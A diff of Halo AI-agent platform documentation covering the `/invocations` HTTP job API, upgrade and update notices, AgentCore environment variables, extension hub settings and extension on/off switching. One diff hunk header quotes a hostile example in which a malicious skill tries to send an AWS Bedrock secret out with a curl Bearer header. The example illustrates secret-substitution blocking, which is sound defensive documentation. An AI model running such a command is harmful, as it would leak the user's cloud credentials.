|
590
|
+
| 200 | Job body, receipt, duplicate, or the SSE stream |
|
|
591
|
+
| 400 | Bad body (not JSON / not an object, field types or formats, both or neither of `prompt` / `promptFile`, `async` not boolean, `get` with other fields, too long), `promptFile` not found / outside the workspace / not a regular file / too large / empty, unknown or internal `agent` |
|
|
592
|
+
| 404 | `get` of an unknown key |
|
|
593
|
+
| 409 | The session owes an A2A task or a relay report |
|
|
594
|
+
| 500 | Dispatch failed (`dispatch failed: …`); the job row is dropped, so a retry with the same `id` runs |
|
|
595
|
+
| 503 | Not serving right now, reason in `error`: the workspace lease held by another runtime session (the `-32603` text; `get` included — retry), or in session-dirs mode one of the front's 503s above |
|
|
596
|
+
|
|
597
|
+
Errors are `{"error": "…"}`. Completion runs `HALO_AGENTCORE_NOTIFY` with the final reply on stdin — see [the notify hook](../design/agentcore.md#completion-and-the-notify-hook).
|
|
518
598
|
|
|
519
599
|
---
|
|
520
600
|
|
|
@@ -301,9 +301,15 @@ This installs the `halo` binary on `$PATH`. Subcommands available:
|
|
|
301
301
|
|
|
302
302
|
### Upgrade flow
|
|
303
303
|
|
|
304
|
+
**Knowing there is one.** Settings (bottom of the left sidebar, next to "Halo v<version>") checks npm's `latest` for `@turmind/halo` when Settings is opened — at most once a day, or on **Check for updates** (at most once a minute) — and when a newer release is out shows "New version X", the command below with a copy button, and a Release notes link. It only notifies: nothing is downloaded or installed, and the server never restarts itself. The server reads the registry from `npm_config_registry` when it is an https URL (a mirror), else registry.npmjs.org; it has no proxy support, so a server that reaches the internet only through a proxy shows "Could not check". Source builds show "Source build — not checked"; the desktop app links to the new installer instead. Rules: [design/canvas-extensions.md → Updates](../design/canvas-extensions.md#updates-updatejson).
|
|
305
|
+
|
|
306
|
+
**Doing it.** Run as the user that installed Halo:
|
|
307
|
+
|
|
304
308
|
1. `halo upgrade` — bumps the on-disk npm package
|
|
305
309
|
2. `halo server restart` (under a user or system unit alike; `sudo systemctl restart halo` also works for a system unit) — server's startup check sees `~/.halo/global/.template-version` is behind the new bundled `TEMPLATE_VERSION`, runs `ensureHaloHome` automatically, then starts (`halo cli` / `halo tui` run the same check on start, so a CLI-only install refreshes without a server). Refreshes `docs/`, built-in agents, built-in skills, system prompts, and the model registry. User-owned files (USER.md, custom agents/skills, INSTRUCTIONS.md overrides) are left alone. See `init.ts` for the per-category overwrite policy.
|
|
306
310
|
|
|
311
|
+
Under a systemd **system** unit, either step may need sudo: a global npm install under `/usr` fails `halo upgrade` with EACCES (it says to retry with sudo; keep `umask 022`, as in [Local maintenance](#local-maintenance--default-short-path)), and when polkit refuses the restart, `halo server restart` prints the `sudo systemctl restart halo` line to run. Extensions are updated separately, from Settings → Extensions (each one's own update.json; no restart needed).
|
|
312
|
+
|
|
307
313
|
**1.x → 2.0** (new session store): stop the server → `halo sessions migrate v1 v2 -w <ws>` once per workspace → start it — see [guide/cli.md → Session store migration](../guide/cli.md#session-store-migration-halo-sessions-migrate-v1-v2). On prod, 30 workspaces / 1171 sessions migrated in ~93 s, ~1.6 min of downtime in total. First run `find <ws>/.halo -not -user <service user>`: a root-owned file there fails the migration with `EACCES` (agentcore-workspace did in the 2.0 prod upgrade).
|
|
308
314
|
|
|
309
315
|
### Public release command reference
|
package/bundled-docs/dev/env.md
CHANGED
|
@@ -97,7 +97,7 @@ Source: `packages/server/src/config.ts`
|
|
|
97
97
|
|
|
98
98
|
| Variable | Default | Config path | Description |
|
|
99
99
|
|---|---|---|---|
|
|
100
|
-
| `HALO_PORT` | `9527` | `config.yaml server.port` | Hono listen port |
|
|
100
|
+
| `HALO_PORT` | `9527` | `config.yaml server.port` | Hono listen port. `halo agentcore`: `-p` first, then `HALO_PORT`, else `9000` (the A2A contract; an HTTP-protocol runtime sets `HALO_PORT=8080`) — `server.port` is not read there |
|
|
101
101
|
| `HALO_PASSWORD` | (none) | `config.yaml server.password` (scrypt hash) | Plaintext login password. When set, takes precedence over the stored hash and bypasses scrypt entirely — intended for Docker / systemd / CI. It also satisfies the **startup gate**: the server refuses to boot with no password configured, and env plaintext counts as a first-class credential there, so an env-only deployment (`halo setup -y && HALO_PASSWORD=... halo server start`, no stored hash) boots fine. The hash is set by `halo setup` for interactive installs. |
|
|
102
102
|
| `HALO_CORS_ORIGINS` | empty (reflect any origin) | `config.yaml server.cors_origins` | CORS allowlist (comma-separated, exact origins). Empty = reflect any incoming Origin **without** `Allow-Credentials` (header-token callers like `x-token` work; cookie-carrying cross-origin requests don't). A non-empty list = only those origins get CORS, with `Allow-Credentials` (e.g. a frontend behind an SSO that must send its cookie). Read at startup — a change needs a restart. Prefer a same-origin reverse proxy over listing origins (see the halo-city extension's [README](https://github.com/turmind/halo-hub/blob/main/extensions/halo-city/README.md#和-halo-同源)). |
|
|
103
103
|
| `HALO_FRONTEND_DIR` | auto (bundled `admin-out`, else `packages/admin/out`) | — | Static frontend dir; resolved against the current working directory |
|
|
@@ -117,11 +117,14 @@ Source: `packages/server/src/config.ts`
|
|
|
117
117
|
| `HALO_WORKSPACE` | `process.cwd()` | — | The one workspace served in agentcore-a2a mode (`halo agentcore -w` overrides it; required there) |
|
|
118
118
|
| `HALO_A2A_ROOT` | the user's home | — | Base dir A2A exposes workspaces under: a workspace `<base>/A/B` with `.halo/agent-card.json` is served at `/a2a/A/B` (see [design/a2a.md](../design/a2a.md)); workspaces outside it can't be exposed |
|
|
119
119
|
| `HALO_A2A_PUBLIC_URL` | (none) | `settings.yaml general.a2a.public_url` | This server's A2A origin as peers see it (no trailing slash), used for the agent card's interface URL and as the default push-webhook base. In agentcore-a2a mode: the runtime's invoke URL (`…/runtimes/<escaped ARN>/invocations`) |
|
|
120
|
-
| `HALO_A2A_ACCESS` | `workspace` | — | agentcore-a2a mode only: access level of every A2A session — `workspace` \| `full` \| `readonly`; anything else is a boot error |
|
|
120
|
+
| `HALO_A2A_ACCESS` | `workspace` | — | agentcore-a2a mode only: access level of every A2A session and every `POST /invocations` job's session — `workspace` \| `full` \| `readonly`; anything else is a boot error |
|
|
121
|
+
| `HALO_AGENTCORE_NOTIFY` | (none) | — | agentcore-a2a mode only: shell command (`sh -c`) run when a `POST /invocations` job finishes — stdin = the final reply, env + `HALO_SESSION_ID`, `HALO_RUN_STATUS` (`ok` \| `error`), `HALO_WORKSPACE` (also its cwd: the workspace; in session-dirs mode a root-only 0700 dir with the vetted MEDIA copies). Runs outside the agent sandbox, killed after 5 min (see [design/agentcore.md](../design/agentcore.md#completion-and-the-notify-hook)) |
|
|
122
|
+
| `HALO_AGENTCORE_SESSION_DIRS` | (none) | — | `1` (agentcore-a2a mode, root): one workspace per AgentCore runtime session id — `HALO_WORKSPACE` is the base, `<base>/<id>` (seeded from `<base>/.template`) is bound at `/workspace` and served by an unprivileged worker that gets only an env allowlist (see [design/agentcore.md](../design/agentcore.md#session-dirs)) |
|
|
121
123
|
| `HALO_DEFAULT_PROVIDER` | (none) | — | Read by `halo setup --non-interactive`: binds every built-in agent to this provider id (and its default model) and, for each of its env-backed keys whose variable is set, writes the `<<NAME>>` placeholder into `settings.yaml` (Bedrock excepted). An unknown id only prints a warning |
|
|
122
124
|
| `HALO_CLI` | `halo` (`halo.cmd` on Windows) | — | `halo` cli executable that cron runs and the evolution wrapper spawn — a dev override |
|
|
123
125
|
| `HALO_VERSION` | `dev` | — | Version string reported by `GET /api/health` and the cli; stamped by the bundle / desktop launcher, so normally not set by hand |
|
|
124
126
|
| `HALO_PROMPT` | (none) | — | `plain` makes `halo setup` use numbered-menu prompts instead of the raw-mode TUI |
|
|
127
|
+
| `OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT` | (none) | `settings.yaml general.observability.capture_content` | `true` / `false` / `1` / `0` (any case) overrides `capture_content` either way; unset or any other value → the setting. Read at process start (see [design/observability.md](../design/observability.md)) |
|
|
125
128
|
|
|
126
129
|
settings.yaml only (no env override):
|
|
127
130
|
- `general.session.max_queue_size` (default 256), restart required
|
|
@@ -139,7 +142,7 @@ settings.yaml only (no env override):
|
|
|
139
142
|
- `general.observability.endpoint` (default `''`) — OTLP collector base URL (e.g. `http://localhost:4318`); empty = off, scope: global, restart required (the server; `halo cli` / `halo tui` read all `general.observability.*` keys at start, so cron and evolution runs pick a change up on their next run). See [design/observability.md](../design/observability.md)
|
|
140
143
|
- `general.observability.service_name` (default `halo`) — OTel resource `service.name`, scope: global, restart required
|
|
141
144
|
- `general.observability.headers` (default `''`, secret) — extra OTLP request headers, comma-separated `k=v`, scope: global, restart required
|
|
142
|
-
- `general.observability.capture_content` (default `false`) — put prompt/completion/tool text on spans, scope: global, restart required
|
|
145
|
+
- `general.observability.capture_content` (default `false`) — put prompt/completion/tool text on spans, scope: global, restart required; env `OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT` (`true` / `false` / `1` / `0`) overrides it
|
|
143
146
|
|
|
144
147
|
`<provider-id>.secrets.*` (server-only, hard-rejected by `{{}}` substitution; declared in `models/<provider-id>.yaml` `secrets:`):
|
|
145
148
|
- `aws-bedrock-claude-invoke.secrets.access_key_id` / `.secret_access_key` — AWS / Bedrock credentials
|
|
@@ -151,7 +154,8 @@ When a provider manifest declares a `default: <<NAME>>` for a secret, `halo setu
|
|
|
151
154
|
`<skill-id>.params.*` (referenceable from skills via `{{<skill-id>.params.<key>}}`, or short form `{{params.<key>}}` inside SKILL.md; declared in `skills/<id>/config.yaml`):
|
|
152
155
|
- `tavily-web-search.params.api_key` — example only; declared by whichever skill needs it
|
|
153
156
|
- `web-search.params.fast_region` / `web-search.params.deep_region` — AWS regions for web-search's fast gear (Nova grounding, US only; empty = us-east-1) and deep gear (Bedrock Mantle; empty = us-west-2 for luna, us-east-1 for sol, and sol set to a region it isn't offered in falls back to us-east-1)
|
|
154
|
-
- `extension.params.
|
|
157
|
+
- `extension.params.hub_base` — https base URL holding `<id>/update.json` for every hub extension, read by `/extension install <id>` and the admin's update check (extensions without their own `source`); empty = the GitHub raw `extensions/` directory on `main` of `hub_repo`, and a non-GitHub `hub_repo` needs it set. See [design/canvas-extensions.md → Updates](../design/canvas-extensions.md#updates-updatejson)
|
|
158
|
+
- `extension.params.hub_repo` — hub `/extension models` pulls the newest `models-v*` release from, and the source of the default `hub_base` (empty = `https://github.com/turmind/halo-hub`); for `models` the skill's `ext.sh` also reads the optional `GITHUB_TOKEN` / `GITLAB_TOKEN` / `GITEA_TOKEN` from the server environment and sends them to that hub's release API only. See [design/canvas-extensions.md](../design/canvas-extensions.md#extension-skill-and-halo-hub)
|
|
155
159
|
|
|
156
160
|
Hardcoded (config.ts, no override):
|
|
157
161
|
- `auth.tokenMaxAge` — 14 days
|
|
@@ -272,27 +272,41 @@ recognized as intentional and never respawns. Full policy in
|
|
|
272
272
|
## AgentCore runtime (`halo agentcore`)
|
|
273
273
|
|
|
274
274
|
```bash
|
|
275
|
-
halo agentcore --workspace /mnt/efs/halo [-p 9000]
|
|
275
|
+
halo agentcore --workspace /mnt/efs/halo [-p 9000] # A2A runtime
|
|
276
|
+
HALO_PORT=8080 halo agentcore -w /mnt/efs/halo # HTTP runtime
|
|
276
277
|
```
|
|
277
278
|
|
|
278
279
|
Runs the server in the foreground as an Amazon Bedrock AgentCore Runtime
|
|
279
|
-
container
|
|
280
|
-
/ping`, `POST /` (A2A JSON-RPC)
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
280
|
+
container (`HALO_RUNTIME_MODE=agentcore-a2a`) on one fixed workspace: `GET
|
|
281
|
+
/ping`, `POST /` (A2A JSON-RPC), `GET /.well-known/agent-card.json` and `POST
|
|
282
|
+
/invocations` (a prompt job over plain HTTP). The same process serves both
|
|
283
|
+
AgentCore protocols — an A2A runtime listens on 9000, an HTTP runtime on 8080,
|
|
284
|
+
and AgentCore forwards only its protocol's paths. No admin UI, password,
|
|
285
|
+
channels, cron or evolution — AgentCore verifies the caller's signed request
|
|
286
|
+
before it reaches the container. It always runs in the foreground (no `-d`) —
|
|
287
|
+
meant as the container's entry command.
|
|
284
288
|
|
|
285
289
|
| Flag / env | Meaning |
|
|
286
290
|
|---|---|
|
|
287
|
-
| `-w, --workspace <path>` / `HALO_WORKSPACE` | Workspace to serve — required, must exist. Seeded with `.halo/agent-card.json` if missing. |
|
|
288
|
-
| `-p, --port <n>` | Listen port
|
|
291
|
+
| `-w, --workspace <path>` / `HALO_WORKSPACE` | Workspace to serve — required, must exist. Seeded with `.halo/agent-card.json` if missing. In session-dirs mode, the base holding one dir per session id. |
|
|
292
|
+
| `-p, --port <n>` / `HALO_PORT` | Listen port: `-p`, else `HALO_PORT`, else `9000`. Use `8080` for an HTTP-protocol runtime. |
|
|
289
293
|
| `HALO_A2A_PUBLIC_URL` | Interface URL advertised in the card — the runtime's invoke URL (`…/runtimes/<escaped ARN>/invocations`) |
|
|
290
|
-
| `HALO_A2A_ACCESS` | Session access level: `workspace` (default) \| `full` \| `readonly` |
|
|
294
|
+
| `HALO_A2A_ACCESS` | Session access level (A2A and `/invocations`): `workspace` (default) \| `full` \| `readonly` |
|
|
295
|
+
| `HALO_AGENTCORE_NOTIFY` | Shell command run when an `/invocations` job finishes: stdin = the final reply, env adds `HALO_SESSION_ID`, `HALO_RUN_STATUS` (`ok` \| `error`), `HALO_WORKSPACE`; runs outside the agent sandbox (e.g. a script that pushes the reply to an IM) |
|
|
296
|
+
| `HALO_AGENTCORE_SESSION_DIRS=1` | One workspace per runtime session id: `<base>/<id>`, created from `<base>/.template`, is mounted at `/workspace` and served by an unprivileged worker (uid/gid 1000, no capabilities, env allowlist). Needs root, `mount` and `setpriv` in the image. |
|
|
297
|
+
|
|
298
|
+
An `/invocations` job is `{"prompt": "…"}` (or `"promptFile"`), with optional
|
|
299
|
+
`session` (a halo session id — a fixed one keeps the job's history), `agent`,
|
|
300
|
+
`id` (idempotency key) and `async`. By default the request waits for the
|
|
301
|
+
result (up to 10 min); `Accept: text/event-stream` streams it; `"async": true`
|
|
302
|
+
returns a receipt at once; `{"get": "<id>"}` reads a job. Shapes:
|
|
303
|
+
[dev/api.md](../dev/api.md#post-invocations).
|
|
291
304
|
|
|
292
305
|
One runtime session id owns the workspace at a time (`.halo/agentcore.lease`);
|
|
293
306
|
requests on another id are refused until the holder has been gone ~45 s. Design,
|
|
294
|
-
the caller-side `auth: sigv4` remote and ops notes:
|
|
295
|
-
[design/agentcore.md](../design/agentcore.md).
|
|
307
|
+
the caller-side `auth: sigv4` remote, session dirs and ops notes:
|
|
308
|
+
[design/agentcore.md](../design/agentcore.md). The hub skill `agentcore-deploy`
|
|
309
|
+
builds the image and creates the runtime for you.
|
|
296
310
|
|
|
297
311
|
## Architecture
|
|
298
312
|
|
|
@@ -144,7 +144,7 @@ params:
|
|
|
144
144
|
secrets: [] # rare for skills — server-side only, never substituted into shell_exec
|
|
145
145
|
```
|
|
146
146
|
|
|
147
|
-
The Settings page reads this declaration and renders inputs grouped under the skill's name. The user's value lands in `~/.halo/secrets/settings.yaml` at `<skill-id>.params.api_key`. Among built-ins, `extension` declares
|
|
147
|
+
The Settings page reads this declaration and renders inputs grouped under the skill's name. The user's value lands in `~/.halo/secrets/settings.yaml` at `<skill-id>.params.api_key`. Among built-ins, `extension` declares plain `hub_base` / `hub_repo` params and `web-search` plain `fast_region` / `deep_region` params; `halo setup` asks only for built-in skills' `secret: true` params, so plain ones are set in Settings → Skills.
|
|
148
148
|
|
|
149
149
|
> Credentials **do not** belong directly in `settings.yaml` — use `<<ENV_NAME>>` placeholders with the real value in env vars, or type them once into the Settings page (which still encrypts in the UI but stores plaintext on disk). Don't write credentials in SKILL.md either. SKILL.md + the schema in `config.yaml` are meant to be shareable; values are the user's.
|
|
150
150
|
|
|
@@ -165,7 +165,7 @@ Halo seeds these skills on every startup (the ids in `BUILTIN_SKILL_IDS`, `packa
|
|
|
165
165
|
| aws-knowledge | Query the official AWS Knowledge MCP server for up-to-date AWS docs (no command, `user-invocable: false`; model auto-activates) |
|
|
166
166
|
| web-search | Real-time web search on AWS Bedrock (needs the machine's AWS credentials with Bedrock access) in two gears: fast (Amazon Nova grounding, default; US regions only) and deep (`--deep`, GPT-5.6 `web_search` via Bedrock Mantle, slower and token-expensive); regions set via its `fast_region` / `deep_region` params (Settings → Skills) (no command, `user-invocable: false`; model auto-activates) |
|
|
167
167
|
| halo | Platform self-knowledge — config directories, MD scopes, which bundled doc answers what (no command, `user-invocable: false`; model auto-activates) |
|
|
168
|
-
| extension | Install / list / remove canvas preview extensions — backs `/extension` (full access); its `
|
|
168
|
+
| extension | Install / list / remove canvas preview extensions — backs `/extension` (full access); its `hub_base` param (Settings → Skills) is where `install <id>` and the admin's update check read `<id>/update.json` (empty = derived from `hub_repo`, default turmind/halo-hub); `hub_repo` is also the hub `/extension models` pulls from |
|
|
169
169
|
|
|
170
170
|
All live under `~/.halo/global/skills/` and are force-overwritten on startup. To customize one, copy it into `<project>/.halo/skills/<id>/` and edit there (workspace > global > extension). `tavily-web-search` remains an optional (non-seeded) skill.
|
|
171
171
|
|
|
@@ -90,8 +90,8 @@ Special-file previews:
|
|
|
90
90
|
File types the editor has no built-in viewer for (e.g. `.glb` 3D models) show a "no built-in preview" page with a link to [halo-hub](https://github.com/turmind/halo-hub), where ready-made viewer extensions live: 3D models (`glb` — `.glb` / `.gltf` / `.obj` / `.stl`), draw.io diagrams (`drawio`, editable), Excalidraw whiteboards (`excalidraw`, editable) and Jupyter notebooks (`ipynb`, read-only). Extensions are installed **server-wide** (`~/.halo/global/extensions/<id>/`) and take effect in every open tab immediately — no restart, no page reload.
|
|
91
91
|
|
|
92
92
|
Three ways to install:
|
|
93
|
-
- **Settings → Extensions**: upload the extension `.zip`; the same panel lists what's installed (version, file types) and removes extensions
|
|
94
|
-
- **Ask the agent**: `/extension install glb`
|
|
93
|
+
- **Settings → Extensions**: upload the extension `.zip`; the same panel lists what's installed (version, file types), switches each one on / off (off = acts as uninstalled, files and settings kept), updates it in one click when a newer version is out (**Check for updates**), and removes extensions
|
|
94
|
+
- **Ask the agent**: `/extension install glb` installs the version the hub's `glb/update.json` names — halo-hub unless you change **Settings → Skills → extension → `hub_base`** (an https mirror holding `<id>/update.json`; empty = the GitHub raw `extensions/` directory of `hub_repo`); it is checked by sha256 and refused if it needs a newer Halo. `/extension install /path/to/x.zip` or an `https://…zip` URL also work. `/extension list` and `/extension remove <id>` round it out (full-access sessions only)
|
|
95
95
|
- **By hand**: drop an unpacked extension directory into `~/.halo/global/extensions/` — the server watches that directory
|
|
96
96
|
|
|
97
97
|
Once installed, matching files open in the extension's viewer. If more than one viewer can show a file, the preview header gets an **Open with** menu (per tab, not remembered). Extensions that declare the `save` capability can edit the file: the tab shows the usual dirty dot, and the header **Save** button writes it back (Ctrl/Cmd+S doesn't apply to extension tabs). If the file changed on disk in between, you're asked before overwriting.
|
|
@@ -73,16 +73,16 @@ File types without a built-in plugin can be handled by an **installed extension*
|
|
|
73
73
|
- **Resolution order** for a file extension: `default`-priority extensions (newest install wins) → built-in plugins → `option`-priority extensions. `.glb` with the `glb` extension installed opens in the viewer directly; an `option` extension only shows up in the header's **Open with** menu
|
|
74
74
|
- **Opening and tab restore**: whether a file opens as text or in a viewer is decided when it is clicked, restored after a page reload, or opened to the side. Since an installed extension may claim a type (`.glb`) or even a text suffix (`.json`), a file that would open as text first waits for the page's initial extension list (up to 3 s), so a `.glb` tab survives a reload as a viewer rather than coming back as text. Files that already have a built-in viewer open without waiting. If the list isn't back within 3 s (or failed to load), files open as if no extension were installed — a `.glb` opens as text; a list that arrives later still updates the viewer of tabs that are already previews
|
|
75
75
|
- **Open with** (header menu, shown only when there are >2 candidates counting *Open as text*): switches the current tab's viewer; the choice is per tab and not persisted
|
|
76
|
-
- **Fallback**: a file with no built-in plugin and no installed extension shows a static page — "no built-in preview for this type; extensions for more file types are on <hub> ↗", where `<hub>` is the extension skill's `hub_repo` (default halo-hub; a local path / ssh remote shows as text) — plus Open as text / Download. No online lookup
|
|
76
|
+
- **Fallback**: a file with no built-in plugin and no installed extension shows a static page — "no built-in preview for this type; extensions for more file types are on <hub> ↗", where `<hub>` is the extension skill's `hub_repo` (default halo-hub; a local path / ssh remote shows as text) — plus Open as text / Download. No online lookup. If an installed extension for the type is switched off, the page says `"<name>" is turned off — turn it on in Settings → Extensions.`
|
|
77
77
|
- **Editable extensions** (manifest `capabilities: ["save"]`): the iframe reports dirty → tab shows the dirty dot → header **Save** button (Ctrl/Cmd+S is *not* wired for extension tabs — Monaco isn't mounted) → `PUT /api/files/raw`. If the file changed on disk since it was loaded the save gets a 409 and the user is asked "changed on disk … Overwrite?". An external change while the tab is clean reloads it; while dirty, local edits are kept silently and the conflict surfaces at the next save
|
|
78
78
|
- **Export from an editable extension** (e.g. draw.io *File ▸ Export as*, Excalidraw main menu *Export PNG / SVG*): the extension iframe can't download files, so the exported image is saved **into the workspace, next to the open file** (`flow.drawio` → `flow.png`). If that file already exists the user is asked whether to overwrite it. On success a banner "Exported to <path>" appears above the preview with a **Download** link. Exporting never marks the tab modified and never changes the open file. Only on Halo builds newer than 1.5.9; on older hosts the extension shows no working export (drawio ≥ 1.1.0 / excalidraw ≥ 1.1.0 hide or fall back on their own)
|
|
79
79
|
- **Bundle extensions** (manifest `bundle: true`, e.g. the `htrans` meeting recorder): a *directory* named with the extension's suffix (`Standup.htrans/`) is one document. In the Explorer it shows a package icon; clicking the row (or Enter) opens it as a tab, and only its chevron expands it so the files inside stay browsable. Right-click → Open to the Side works on it. **New File** with a bundle suffix (`Standup.htrans`) creates the directory and opens it — from the file tree's inline New File and from the Explorer header's New File button alike. The extension reads and writes only inside that directory. While it reports busy (e.g. recording) the tab shows the dirty dot, asks before closing, and stays mounted when you switch tabs. Ctrl/Cmd+S / Save do nothing on it. A bundle tab survives a reload while the extension is installed and supported here; otherwise the tab is dropped and the directory is an ordinary folder again
|
|
80
80
|
- **File access beyond the open file** (manifest capability `fs-read`; Settings → Extensions tags it "Reads files on this machine"): a viewer such as an emulator or model viewer may read other files in the workspace or anywhere on the server machine (never write), and ask the user to choose one. The choice is made in a **file picker** the viewer opens on demand: Workspace and Home shortcuts, an editable path box, a breadcrumb, folders first, only files matching the viewer's suffix filter; arrow keys / Enter / Backspace to navigate, Esc or Cancel to close it. A file inside the workspace is handed back as a workspace-relative path, any other as an absolute one. Halo's own secrets (`~/.halo/secrets`, `~/.ssh`, git credentials, the global databases — the same paths the agent sandbox hides) never show up in the picker and can't be read this way, symlinks included
|
|
81
81
|
- **Running notebook cells** (ipynb 2.0.0+ on Halo 1.6.1+): the ipynb viewer edits and saves cells (an editable extension, as above) and runs them on a real kernel on the Halo machine through Halo's Jupyter proxy — any kernelspec the configured Jupyter finds (Python, R, …), started with the notebook's folder as the working directory. Halo starts a local Jupyter server on first use; Jupyter itself is not bundled (`pip install jupyter_server ipykernel`; the viewer shows that hint when it is missing). Same trust as the built-in terminal: the kernel runs as the Halo service user, unsandboxed, and only a logged-in admin can reach it (no web-channel / IM / A2A tokens; not in AgentCore mode). Settings → General: `jupyter.enabled` (allow notebook execution, default on) and `jupyter.path` (full path to `jupyter`, empty = PATH), both applied without a restart. Closing the notebook tab shuts its kernel down after 60 s (a reload within that keeps it); a kernel idle for 1 h is shut down even while the tab is open; stopping Halo stops every kernel. Older hosts don't advertise it: the viewer still edits and saves, without run controls
|
|
82
82
|
- **Platforms** (manifest `platforms`: `web` / `desktop-mac` / `desktop-win` / `desktop-linux`; omitted = everywhere): on an excluded platform (the Halo desktop app is detected by its user agent) the extension acts as if it were not installed. The fallback page says `"<name>" only runs on: <platforms>`, and Settings → Extensions shows a platforms badge plus a gray "not supported here" tag. Manifest capability `media` lets the extension use the microphone and screen capture
|
|
83
|
-
- **Install sources**: Settings → Extensions zip upload; `/extension install <id|zip|url>` (listed by the built-in `default` agent, full access), where an id
|
|
84
|
-
- **Live install / upgrade / uninstall** (from Settings → Extensions upload / remove, the `/extension` skill, or a manual directory change): pushed over WS, no reload. An upgraded extension remounts open tabs (or shows a "updated — reload" banner if the tab is dirty); uninstalling drops clean tabs to the fallback page and keeps dirty tabs alive with a banner
|
|
85
|
-
- **Settings → Extensions**: lists installed extensions (name, version, file types, license/homepage) and manifest errors; upload `.zip` (≤ 100 MB) and remove. Any logged-in admin can do
|
|
83
|
+
- **Install sources**: Settings → Extensions zip upload; `/extension install <id|zip|url>` (listed by the built-in `default` agent, full access), where an id installs the version named by `<hub_base>/<id>/update.json` (Settings → Skills → extension → `hub_base`; empty = the GitHub raw `extensions/` directory of `hub_repo`, default halo-hub), checked by sha256 and refused when it needs a newer Halo; or a manual directory drop
|
|
84
|
+
- **Live install / upgrade / switch / uninstall** (from Settings → Extensions upload / Update / switch / remove, the `/extension` skill, or a manual directory change): pushed over WS, no reload. An upgraded extension remounts open tabs (or shows a "updated — reload" banner if the tab is dirty); uninstalling or switching off drops clean tabs to the fallback page and keeps dirty tabs alive with a banner ("has been uninstalled" / "has been turned off" — save, then close)
|
|
85
|
+
- **Settings → Extensions**: lists installed extensions, on and off, by id (name, version, file types, license/homepage) and manifest errors; upload `.zip` (≤ 100 MB), switch on / off, update and remove. **Off** = the extension acts as uninstalled everywhere (previews, Open with, activity-bar / chat-bar entries, its skills, its settings section) but its files and settings values are kept; the row is dimmed with an "Off" tag; a fresh install starts on and an update keeps the switch. **Check for updates** reads each extension's update.json (its manifest `source`, else the hub's); a newer version gets a blue "Latest X" and an **Update** button that installs it in one click, a version that needs a newer Halo says so instead, and a downgrade is never offered — details in [requirements/settings.md](settings.md#extensions-view-and-update-notices). Any logged-in admin can do all of it — the admin cookie has no access level
|
|
86
86
|
|
|
87
87
|
### Renderable text formats (Markdown / HTML)
|
|
88
88
|
Markdown and HTML open as text in Monaco *and* have a rendered view — Canvas defaults to the **rendered** view since the primary audience is an AI generating reports / pages for humans to read.
|
|
@@ -92,13 +92,13 @@ params:
|
|
|
92
92
|
secrets: []
|
|
93
93
|
```
|
|
94
94
|
|
|
95
|
-
Built-in skills declare theirs the same way — today `extension`, with
|
|
95
|
+
Built-in skills declare theirs the same way — today `extension`, with plain `hub_base` (the https base URL holding each hub extension's `<id>/update.json`, read by `/extension install <id>` and the admin's update check; point it at a mirror; empty = the GitHub raw `extensions/` directory of `hub_repo`) and `hub_repo` (the hub `/extension models` pulls release zips from, and where the default `hub_base` comes from; empty = turmind/halo-hub) params, and `web-search`, with plain `fast_region` / `deep_region` params (AWS regions for its two Bedrock gears; empty = us-east-1 fast, us-west-2 deep / us-east-1 for sol). `halo setup` asks only for built-in skills' `secret: true` params; plain params are configured in Settings → Skills only.
|
|
96
96
|
|
|
97
97
|
Global agents declare theirs the same way in `agents/<agent-id>/agent-config.yaml` (same `params:` / `secrets:` lists; shown under Settings → Agents).
|
|
98
98
|
|
|
99
99
|
### Extension params/secrets — `halo-extension.json` `settings`
|
|
100
100
|
|
|
101
|
-
An installed canvas extension declares its own config in its manifest: `"settings": { "params": [field…], "secrets": [field…] }`, same field format as a skill's `config.yaml` (`key`, `description`, `description_zh`, `default`, `type`, `options`) but validated strictly — a malformed field makes the whole manifest an error (red row in Settings → Extensions) instead of being skipped. Each such extension becomes one section with `source: "extension"`, namespace **`ext-<extension-id>`** (the prefix keeps it from colliding with a skill / provider namespace) and the manifest `name` as title, listed in the left nav under its own group **Extension settings / 扩展配置**, right below the Extensions entry. Every field is `globalOnly` (stored in `~/.halo/secrets/settings.yaml` only; a workspace write is rejected with 400) and every `secrets` field is masked. Only server code reads the values (e.g. the Meeting Recorder's Amazon Transcribe region and keys) — they never reach the extension, the manifest or the hub. The section appears / disappears live: installing or
|
|
101
|
+
An installed canvas extension declares its own config in its manifest: `"settings": { "params": [field…], "secrets": [field…] }`, same field format as a skill's `config.yaml` (`key`, `description`, `description_zh`, `default`, `type`, `options`) but validated strictly — a malformed field makes the whole manifest an error (red row in Settings → Extensions) instead of being skipped. Each such extension becomes one section with `source: "extension"`, namespace **`ext-<extension-id>`** (the prefix keeps it from colliding with a skill / provider namespace) and the manifest `name` as title, listed in the left nav under its own group **Extension settings / 扩展配置**, right below the Extensions entry. Every field is `globalOnly` (stored in `~/.halo/secrets/settings.yaml` only; a workspace write is rejected with 400) and every `secrets` field is masked. Only server code reads the values (e.g. the Meeting Recorder's Amazon Transcribe region and keys) — they never reach the extension, the manifest or the hub. The section appears / disappears live: installing, removing or switching an extension on / off pushes `extension:changed`, and the open Settings page re-fetches the schema. A switched-off extension has no section, but its values are kept — they are not listed as orphans and are back as they were when it is switched on. See [design/canvas-extensions.md → Extension settings](../design/canvas-extensions.md#extension-settings).
|
|
102
102
|
|
|
103
103
|
### General — built-in
|
|
104
104
|
|
|
@@ -190,7 +190,7 @@ A malicious skill that tries `curl -H "Bearer {{aws-bedrock-claude-invoke.secret
|
|
|
190
190
|
|
|
191
191
|
## Orphans
|
|
192
192
|
|
|
193
|
-
`params` / `secrets` values present in `settings.yaml` that no current schema declaration covers (the whole namespace is gone, or just that key) are surfaced as **orphans** in a dedicated tab. They aren't deleted automatically — uninstalling a skill keeps its values around so re-installing pops them back in. Users prune them on their own schedule via the orphan tab's per-key Remove buttons.
|
|
193
|
+
`params` / `secrets` values present in `settings.yaml` that no current schema declaration covers (the whole namespace is gone, or just that key) are surfaced as **orphans** in a dedicated tab. They aren't deleted automatically — uninstalling a skill keeps its values around so re-installing pops them back in. A switched-off extension's values (its `ext-<id>` namespace and the skills it ships) are not orphans and are never listed here. Users prune them on their own schedule via the orphan tab's per-key Remove buttons.
|
|
194
194
|
|
|
195
195
|
`general.*` is intentionally excluded from orphan detection — its declared keys are enumerated by the built-in schema, so anything else there is treated as either a typo or a forward-compat field, not an orphan.
|
|
196
196
|
|
|
